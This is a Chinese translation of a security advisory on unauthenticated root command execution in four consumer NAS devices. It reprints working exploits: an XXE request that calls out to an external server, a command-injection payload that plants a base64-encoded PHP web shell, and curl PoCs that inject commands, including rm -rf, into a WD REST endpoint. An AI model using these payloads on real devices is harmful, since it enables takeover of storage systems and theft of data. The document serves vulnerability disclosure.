WizCase報告:四種流行NAS裝置中發現多個漏洞
NAS裝置已成為許多中小型企業(SMB)的首選儲存裝置。它們價格低廉,易於操作,如果空間不足,可以新增額外的儲存空間。但它足以保護公司資料嗎?我帶著這個問題閱讀了 安全研究人員 ofollow,noindex">Paulos Yibelo 和 Daniel Eshetu 的研究報告,看能否將這裡的漏洞利用在NAS裝置中。
我們專注於發現那些只能在沒有任何使用者互動的情況下可以遠端利用的關鍵漏洞。這意思是說,認證繞過是不夠的。我們希望以最高許可權遠端執行裝置上的命令,結果我們在所有裝置上都取得了成功。
一、研究結果摘要
在本專案中我們使用了四種流行的NAS裝置:
1. WD My Book
2. NetGear Stora
3. SeaGate Home
4. Medion LifeCloud NAS
通過了解其IP地址,我們成功的在裝置中獲得了root遠端命令執行,從而進入了它們所在的網路。
·測試的所有四個NAS裝置都遭受0 day未經身份驗證的root遠端命令執行(preauth RCE)漏洞。
· 漏洞允許黑客、政府或任何有惡意的人閱讀檔案、新增/刪除使用者、新增/修改現有資料,或在所有裝置上執行具有最高許可權的命令。
· 我們相信有許多其他NAS裝置遭受類似的漏洞,因為NAS裝置似乎缺少預期的模式。
· 在本文釋出時,這些漏洞(稱為CVE-2018-18472和CVE-2018-18471)仍未修補。
· 線上有近200萬受影響的裝置
二、CVE-2018-18472—Axentra Hipserv NAS韌體中的XXE和未經認證的遠端命令執行。
Axentra Hipserv是一款執行在多個裝置上的NAS作業系統,可為不同裝置提供基於雲的登入和檔案儲存及管理功能。它被不同供應商用於多種裝置,具有共享韌體的受影響裝置是:
· Netgear Stora
· Seagate GoFlex Home
· Medion LifeCloud
該公司提供的韌體具有一個主要使用PHP作為伺服器端語言的Web介面。Web介面具有REST API端點和檔案管理器,是一個典型Web管理介面。
韌體分析
解壓縮韌體並解碼檔案後,php檔案位於/var/www/html/ 中,webroot位於/var/www/html/ html中。web介面的主處理程式是homebase.php,RESTAPIController.php是其餘API的主處理程式。所有的php檔案都使用IONCube加密,IONCube有一個已知的公開解碼器,並且鑑於使用的版本是舊版本,解碼檔案不需要很長時間。
第一部分: XXE
解碼檔案後,未經身份驗證的話無法訪問大多數API端點和Web介面。其中一個例外是REST API介面中的一些端點。其中一個端點位於/api/2.0/rest/aggregator/xml,它從POST資料載入xml資料,儘管它使用DOMDocument來載入(解析)不應受到XXE攻擊的xml。
韌體後端的libxml2是舊版本。這意味著預設情況下未禁用外部實體載入,因而從此端點可以進行開發利用。通過該方式,可以讀取檔案並執行SSRF攻擊,下面給出了一個示例請求:
POST /api/2.0/rest/aggregator/xml HTTP/1.1 Host: 192.168.10.21 User-Agent: GoogleBot/2.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 246 Cookie: HOMEBASEID=c4be432f8add72db591aaa72c0fbbd34 Connection: close Upgrade-Insecure-Requests: 1 <?xml version=”1.0″?> <!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM “http://192.168.10.20/XXE_CHECK”> %dtd; ]> <requests> <request href=”/api/2.0/rest/3rdparty/facebook/” method=”GET”></request> </requests>
上述請求導致xml解析器向我們的伺服器192.168.56.1發出請求,請求檔案XXE_CHECK。雖然LFI有意抓取一些敏感檔案,但因為XML無法處理二進位制資料,因此無法轉儲SQLite資料庫來獲取使用者名稱和密碼。
這意味著我們能夠在以下裝置中讀取檔案併發出SSRF請求。
·Netgear Stora
· Seagate GoFlex Home
· Medion LifeCloud
第二部分: RCE
下一步是檢視Web介面(特別是REST API)如何執行root操作。由於Web伺服器以非root使用者身份執行且沒有sudo許可權,因此發現REST API呼叫名為oe-spd的本地守護程式,該守護程式在繫結到127.0.0.1的埠2000上執行。
守護程序獲取XML資料,解析請求並執行操作而不進行任何身份驗證,除了確保請求來自127.0.0.1。更重要的是,守護程序跳過垃圾資料,直到找到字串<?xml version =“1.0”?>,如下面的IDA程式碼段所示。
strstr(*input_data, “<?xml version=\”1.0\”?>”);
這樣事情就變得更容易了,因為請求使用HTTP協議傳送,跳過垃圾資料(根據守護程式)幫了大忙。但是,由於不能直接將URL放在xml檔案中,我們讓xml解析器向php指令碼(或任何真正重定向的指令碼)傳送請求,將其重定向到http://127.0.0.1:2000/a.php?d=*payload here*。
由於守護程序存在命令執行漏洞,因此很容易構造一個觸發請求的請求。此外,由於守護程式以root許可權執行,因此可以在裝置上執行任何操作。下面給出了有效載荷示例。
這個示例上傳一個php shell /var/www/html/html/u.php (<device-ip>/u.php?cmd=id).
<?xml version=”1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=”disk”>a`echo PD9waHAKZWNobyAnPHByZT4nOwpzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKZWNobyAnPC9wcmU+JzsKPz4K | base64 -d >/var/www/html/html/u.php`</parameter></proxy_request>
三、合而為一
為了無縫連結漏洞,我們需要一個伺服器,裝置可以與之建立出站連線,以及簡單的PHP指令碼,該指令碼重定向解析器以傳送有效載荷並能處理少量多階段的有效載荷。
四、CVE-2018-18472—WD MyBook Live未經身份驗證的遠端命令執行
WD MyBook Live和某些型號的WD MyCloud NAS包含一個可遠端利用的漏洞,允許任何人以root使用者身份在裝置上執行命令。該漏洞存在於語言更改中並修改了REST API中的功能,以下PoC演示了此漏洞。
PoC:
curl –kX PUT-d ‘language=en_US`<linx Command Here>`’https://<NAS_IP>/api/1.0/rest/language_configuration
示例:
curl –kX PUT-d ‘language=en_US`id > /var/www/id.txt`’https://<NAS_IP>/api/1.0/rest/language_configuration
poc將在webroot中建立一個包含ID命令輸出的id.txt檔案。可以使用以下PoC刪除該檔案:
curl -kX PUT-d ‘language=en_US`rm -rf /var/www/id.txt`’https://<NAS_IP>/api/1.0/rest/language_configuration
五、措施
·如果正在使用上述裝置之一且已在WAN上連線,請務必從網際網路上刪除裝置。(確保它們僅在安全網路中本地執行)
· 務必聯絡受影響的供應商並堅持儘快釋出補丁!
· 我們將在補丁可用時更新本文。
· 我們還建議使用VPN來保護計算機和移動裝置免受黑客攻擊。 ExpressVPN 和 NordVPN 都使用AES 256位加密,並將保護所有資料。(這不會保護免受NAS攻擊,但它會保護免受其他網路攻擊)
六、響應
漏洞報告CVE-2018-18472會影響最早在2010年至2012年間推向市場的My Book Live裝置。這些產品自2014年起停產,不再支援裝置軟體更新服務。在此,我們希望和鼓勵這些繼續執行舊版產品的使用者配置防火牆,以防止遠端訪問這些裝置,並採取措施確保只有本地網路上的受信任裝置才能訪問該裝置。
注:完整報告見https://www.wizcase.com/blog/hack-2018/